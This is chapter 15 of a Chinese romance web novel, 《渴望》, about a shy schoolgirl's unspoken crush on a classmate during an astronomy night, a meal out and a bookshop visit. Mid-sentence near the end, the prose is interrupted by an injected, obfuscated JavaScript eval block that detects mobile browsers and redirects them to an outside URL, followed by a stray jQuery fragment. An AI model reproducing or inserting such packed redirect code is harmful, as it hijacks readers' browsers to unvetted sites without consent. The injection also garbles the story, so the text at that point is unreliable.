15. 第 15 章
作品:《渴望》 夜幕下天文台显出冷肃科技感。
木苳在旁边记录观测记录。
陈霁然细心教她学天文望远镜的使用方法,让木苳掌握了些入门知识。
“你后来怎么没来过了?”
“怕跟不上学习。”木苳有些意外。
没想到天文社这么缺人。
陈霁然看出她眼神里的意思,笑着说:“对啊,很缺,我们学校不怎么重视这方面的发展。”
“你以后要学天文吗?”
“我不学,别看人不说话,是这位的强项。”陈霁然用下巴点旁边的段远昇。
木苳顺着看过去,少年身上校服拉链敞开,懒懒散散靠在一侧墙上,从口袋里掏出几颗草莓软糖嚼着,矫劲的目光显得青春不羁又富有理性。
他身量高,逆着光站在那之后,影子拖长落至她脚尖。
段远昇眉眼不动,抬手把衣服拉链拉到最顶端,提步走到她旁边。
“好厉害。”木苳说。
段远昇没忍住笑了下。
她的目光太诚恳,眼睛透亮,又用那么极其认真的口吻说出来,跟她安静的性格倒是相符,却又有些出奇地好笑。
陈霁然接了个电话,见木苳一直在看他,段远昇掏空口袋,语气有些故作遗憾说:“没了。”
木苳怔忪一秒,又着急慌乱移开眼。
“没有。”
她没有想要糖。
段远昇拿过桌面的本子,在上面记录四颗伽利略卫星的位置变化。
Io–Europa–木星–Ganymede
日期:2009.5.15
时间:21:47
天气:晴
使用设备:100mm反射
备注:木星偏亮
观测者:高一理一段远昇、高一文一木苳
“你现在看到的木星是半个小时之前木星的样子,如果有机会看到比邻星,看到的也只是它4.2光年前的样子。”
木苳不太理解地点了点头,又懵懵懂懂地问:“那我4.2光年之后才能见到一次吗?”
她哪能活那么久。
“只是一直存在时差。”段远昇瞥她,耐心说,“没听说过吗?天文学其实是宇宙考古学。”
木苳摇了摇头。
陈霁然临时回了条消息,看到观测本上段远昇没写他名,垂眼不知道在想什么。
陈霁然足足买了三份麦当劳套餐,摆了一桌大宴。
都够五个人吃了。
麦当劳最近有联名活动,看他们是三个人,送了三个盲盒挂件。
陈霁然朝前台小姐姐眨了下眼睛,说:“还有一个朋友没来,可以再送一个吗?”
前台女孩轻笑了声,又偷偷给了他一个。
说:“你长发很漂亮哦。”
“谢谢。”陈霁然朝人悦然一笑。
木苳才看向段远昇问:“还有谁——”
木苳微仰头用余光看向身侧高高的男生。
店内的灯光很刺,把他五官线条映得很好。
他又剪了头发,旧校服换成了崭新的黑白条纹配色,崭新铺展的外套只有领口处微折,眼神里的缜密从容与极其理性总给人一种锋利感。
“嗯?”他偏头扫了眼,从鼻腔里发出短音。
木苳的视线瞬息掉进男生漆熠的眸里,“噗通”了一声悄无声息。
“没有…”
木苳嗫喏着移开眼,掐着手心,呼吸都不稳了。
“还有谁要来?”他问
陈霁然一边提着东西往临近座位上放,一边说:“还能是谁,汤佳蓓不是在追你么。”
木苳在一瞬间,没控制住,下意识刹停了脚步。
帆布鞋在地面摩擦不明显的响声。
大脑也重击了一下似的忽然一片空白,耳朵发出剧烈轰鸣,同时心脏袭来很清晰的失重感。
“她不来了?”陈霁然问。
“嗯。”
淡淡的对话声落入耳畔,木苳僵停在原地,随后强压着微颤的手,坐在对面椅子上。
段远昇扯了把椅子坐下,不动声色问陈霁然:“好像没问过你。”
陈霁然耸肩说:“我哪有什么选择。”
倒是注意到没说话的木苳,把番茄酱递给她,说:“汤佳蓓你认识吗?”
木苳不知道要点头还是摇头。
只是看着陈霁然时,感觉门外的冷风吹进了眼,刺痛感让她睁不开。
“知…知道,是广播站的学姐。”她一张口,才发现嗓子堵得钝痛,像含了一把锈。
崔雨晴在上学期给李悟点过歌,木苳跟着一起去时见到过。
是个明艳又开朗的女生。也见过她去找段远昇,很多次。
陈霁然背靠着椅子,朝木苳扬了扬眉,姿态放松地伙同开他玩笑说:“是不是挺般配,说真的,高中谈恋爱这辈子都忘不了。”
为什么非要问她呢。
木苳不知道陈霁然是想要她参与话题里,还只是单纯地为了开段远昇的玩笑。
“嗯,很般配。”她僵笑着看向段远昇。
头一次跟窦灵那样跟他用听起来很轻松的声线对话。
可她觉得自己笑得很丑,笑得像在哭。
很正常。
他会谈恋爱很正常。
一直懒得搭理他的段远昇抬了下头,不偏不倚看向木苳。
漆黑的视线看不出是什么情绪,随后又笔直把目光投向陈霁然。
“行了啊。”
木苳一直低着头,那声音就落在耳畔,一贯的冷淡中带着些无奈,让他别太过分。
陈霁然又好奇问了句:“我听说李悟跟崔雨晴分手了?”
木苳没能找回自己的声音,只是强忍着嗓子里的吞咽疼痛,模糊地张开唇:“嗯,都过去好几天了。”
拆盲盒时,木苳拆出了一个小草莓蛋糕的挂件,陈霁然拆出一个薯条,段远昇的是一个可乐罐,剩下那个没拆。
段远昇扫了她手上那个好几眼,又把玩着手里的可乐罐,觉得没意思。
手机滴滴了两下,是一条短信提示音。
接连着两三条发过来,陈霁然就知道是汤佳蓓了。
陈霁然蓦然想起段远昇初中收到那封情书。
他当时正在段远昇家里打游戏。
下午伯父伯母跟商界朋友在家中会客,两人齐齐起身打招呼。
等人上了楼,伯母才看向自家儿子调侃说:“我听说今天在学校远昇收到情书了?还说什么是给我写的生贺,我怎么不知道我生日是在圣诞节了?”
“妈……”段远昇音调拖得很长,只在家中表现出情绪外露的十几岁骄气少年的样子。
仲韵禁不住打趣道:“都没跟你谈过心,喜欢什么类型的女孩?今年就要初中毕业了,高中……爸妈不限制你早恋。”
陈霁然在旁边笑得直抖。
“小然呢?喜欢什么类型。”
陈霁然被揪住,摆手开着玩笑说:“我得看我爷爷奶奶喜欢什么类型。”
陈霁然记得后来段远昇说。
他喜欢不那么喜欢他的。
喜欢谁,他自会去追。
他希望他的女朋友有自己的旷野道路,有自己的航标理想,有自己的灿烂四方。
他这一生顺风顺水,没做过陪衬,希望给喜欢的花做点缀。
汤佳蓓倒很符合。
于是想问的话又给重新咽了下去。
“走吧,大小姐催了。”陈霁然起身说。
木苳没吃多少,又觉得浪费,三人各打包了一些带回去。
木苳回去后,推着自行车到了苜蓿巷汽修店。
就在下了公交车的对面,叫振飞汽修店。
这边是富人区,白墙琉璃瓦的院落巍峨矗立,前有庭院,后有花园。
初夏时节蓊郁的梧桐树叶中漏下金灿灿的阳光,附近禁鸣笛,一切显得清严庄重。
自行车的轮胎跟有些歪的车篮被重新换好,瞬息变得焕然一新。
她推车回去时又倏然想,她去哪里修都是一样的。
那种莫名的自作多情让木苳捂了一下辛疼的眼睛,风都是闷重到压着鼻息的。
她缓缓吁了口气,重得化成白雾在空气中往下沉没。
*
刘秀兰今天轮休,趁着最近上好的阳光,把家里整个清洁了一遍,暴晒杀菌。
木苳回去后,便闻到床上一股带着阳光的很香的洗衣液味。
她猛地想起什么,迅速跑过去翻枕头旁边。
之后把整张床翻了个遍都没有找到那只千纸鹤。
“姑妈,您有看到我床上的一个千纸鹤吗?就是用一个彩色的透明纸折的。”木苳手忙脚乱地比划着。
刘秀兰看她的急躁样,停下手里的活儿回想。
“好像是有一个…我以为是思语吃剩下的糖纸就给扔了,家里还有那种糖,要做什么用?”
木苳茫然地站在原地,费解地解析完刘秀兰的话。
“找不到了吗?”
“应该找不到了。”
“能不能告诉我扔在哪里了。”
木苳在一瞬间绷不住忽然哭了,从嗓子最深处发出的压抑的哭声,怎么都压不住。
她第一次在谁面前哭,积压着的情绪訇然崩溃,眼泪吧嗒吧嗒往下掉。
“怎么了…别哭啊,我再去给你买点,附近小卖部就有那种糖,你别着急。”刘秀兰感觉她太过夸张。
“那是我折的,那个不一样。”木苳声腔呜咽,唇齿含糊,情绪崩溃。
刘秀兰去买了整整一盒回来给她。
放学回家的杨思语得知此事翻了个白眼,不知道她在矫情什么。
木苳低垂着脑袋,眼泪被风干,眼尾处酸得漏风。
“不用了,谢谢姑妈。”
“拿着吧,别让邻居听见,不知道的还以为家里虐待你。”杨思语阴阳怪气端着水果出来。
刘秀兰啧了她一声,人皱着鼻子进房间了。
“是姑妈的不是,下次不会再碰你东西了。”
不知道为什么,木苳却觉得这句话刺着耳朵,心口也一涨一涨痛起来,她快要喘不过来气了。
又站起身磕巴地接过糖,囫囵解释着说:
“不是…是我没放好,姑妈您快去休息吧,我可能,是最近学习压力大了,对不起,我没控制好情绪,对不起。”
又想说,如果邻居误会她会去解释。
街坊四邻都清楚刘秀兰不计前嫌收养了她。
夸赞刘秀兰为人医表,不念旧恶,善行不辍。
客厅的灯光熄灭,周遭一片寂静。
窄仄的卧室走廊尽头,木苳蜷缩在床头抱着膝盖,下巴抵着胳膊,乌黑的眼睛在漆黑处放空。
凌晨三点,木苳都睁着眼没睡着。
千纸鹤飞走了。
原来她的青春从头至尾都不是千纸鹤。
是那一颗酸得倒牙的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118224|195665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌梅糖。
*
一中今年被设置成高考点,放三天假。
木苳跟崔雨晴一同去小书店看书,碰巧看到段远昇跟同行的李悟。
崔雨晴视若无睹,拽着木苳往另一个方向大步流星走:“要靠门一点的位置还是靠里面一点的?”
“里面一点的吧。”比较安静。
“行。”
她去占座位,木苳去木架找书。
“这儿怎么还有几本书?要整理掉吗?暗、淡、蓝、点?这都湿得看不清字了还放在这儿干什么?”
“给我吧。”
“你还要啊,这本书我记得你家好像还有一本新的?”
“拿回去卖废品。”段远昇声音带着倦懒说。
“…您可真持家。”李悟扯了扯嘴角。
不远不近的声音徐徐入耳,木苳低下眸,从中抽出一本江苏一模出来。
上一届的人甚至在刷高考难省的模拟卷。
她抱着试卷坐在靠窗位置,窗外的阳光落在侧肩,带着盛夏的炙热,烧灼着皮肤。
夏天要把她也烧个干净。
汤佳蓓带着了几个人大张旗鼓地搬进来好几个收纳纸箱,笨重地放在小书店门口。
她的白T牛仔裤上都沾满灰烬,额头也浮着一层汗,进门便气喘吁吁问:
“这些书放在哪?”
段远昇走过去说:“先放后面那个仓库吧,麻烦了。”
几个穿着蓝色工装的男人陆陆续续给搬进去。
段远昇递给汤佳蓓一瓶矿泉水,又问:“人哪来的?”
汤佳蓓喝了大半瓶,嗓子冒烟说:“当然是我雇的了,你以为我还要帮你运过来啊,你想得美,记得给我报销。”
在高三教学楼下把这些书放进箱子里也是费了很大功夫。
段远昇毫不客气说:“谢了。辛苦。”
“想吃什么我请客。”
“行啊。”汤佳蓓说。
书运进去后,段远昇又亲力亲为去分装。
“汤佳蓓。”门外几个女生穿着打扮性感漂亮,交头接耳扬笑叫她,“好了没啊。”
“急什么!”
“你这速度也太慢了,我还想抄你的呢,我这都写了一半了你还没开始!”
木苳捏着笔抬头,视线缓慢聚焦,有些不好意思说:“我有点困了。”
总是出神。
“那你回去休息吧,好不容易休息两天。”
“我明天给你。”
“不急不急。”
木苳把书装进书包里拉上拉链。
从门口经过,手指紧捏着书包肩带,向往常一样低着头往前走,又被忽然降下的清越声音刹停。
“车修好了?”
小书店门口只有一辆自行车停着,上着锁,还有一个小布包,里面没放东西。
包上印有临襄市第一高级中学2008年女子三千米特等奖的字样。
木苳抱紧怀中的书,肩僵了一瞬。
微仰头看着他,脚步不自觉往后挪开着,点点头说:“老板技术很娴熟。”
“他们店是老店,开挺久了。”段远昇澄明的目光攫住她。
木苳不敢抬头了,声音发涩:“你是这里的老板吗?”
段远昇语调闲散说:“嗯,暑假打球经过,看到老板在招租,索性租下来。”
老板的孩子生重病,急需钱,段远昇把店盘下来当书店。
木苳声音低低的:“好厉害。”
不知道为什么,她这样分明匮乏的表达,却总让段远昇觉得带着股诚恳明亮。
木苳余光看到李悟坐在了她原来的位置上,也就是崔雨晴的对面位置。
重新抬头看向段远昇,木苳缩了下肩,指了指门外说:“我走啦。”
“嗯,注意安全。”
出了小书店的门,木苳骑自行车到拐角,又停下来漫无目的推着车往上坡走。
这个坡度很高,再往前便是一片看不见边际的湖。
这个湖并没有什么寻常,不比赛里木湖漂亮,不及贝加尔湖深不见底。
这两年却因这片湖,临襄的旅游业发展迅速。
她费力地推着车,一步一步往上走。
等彻底站在最高处,白色道路铺展开来,天边水平线上的太阳早已落下,只剩一片败落的粼粼夕阳。
当晚,月亮出现圆晕,预示着次日要下雨。
漫长又潮湿的梅雨季要开始了。
木苳在期末考试之前再没去过小书店。
附近新开的那家新华书店有免费自习室。
夏季开有空调,自习氛围也很好,不过要多花费半个小时的车程。
她喜欢坐在靠窗位置,听着窗外的雨水奋不顾身砸向玻璃,撞击出生命的最后一道声音,这会让她内心感到无比平静。
木苳手下是一本物理选修二的课本,封皮是一片漂亮极光。是她不小心抽出来的,书中密密麻麻全是看不懂的物理公式。
她隐约记得初中物理有学过阿基米德原理。
其中有讲到浮力问题。
人体平均密度约等于1.01g/cm3,淡盐水中盐的密度约等于纯水即1.0g/cm3。
死海盐分高,易漂浮。
但在淡盐水中,人更易下沉。
如同那浮不上面的心事,没入杳无音信的内加尔湖底,带着无声告白沉眠。
2009年6月27日于苜蓿巷新华书店二楼

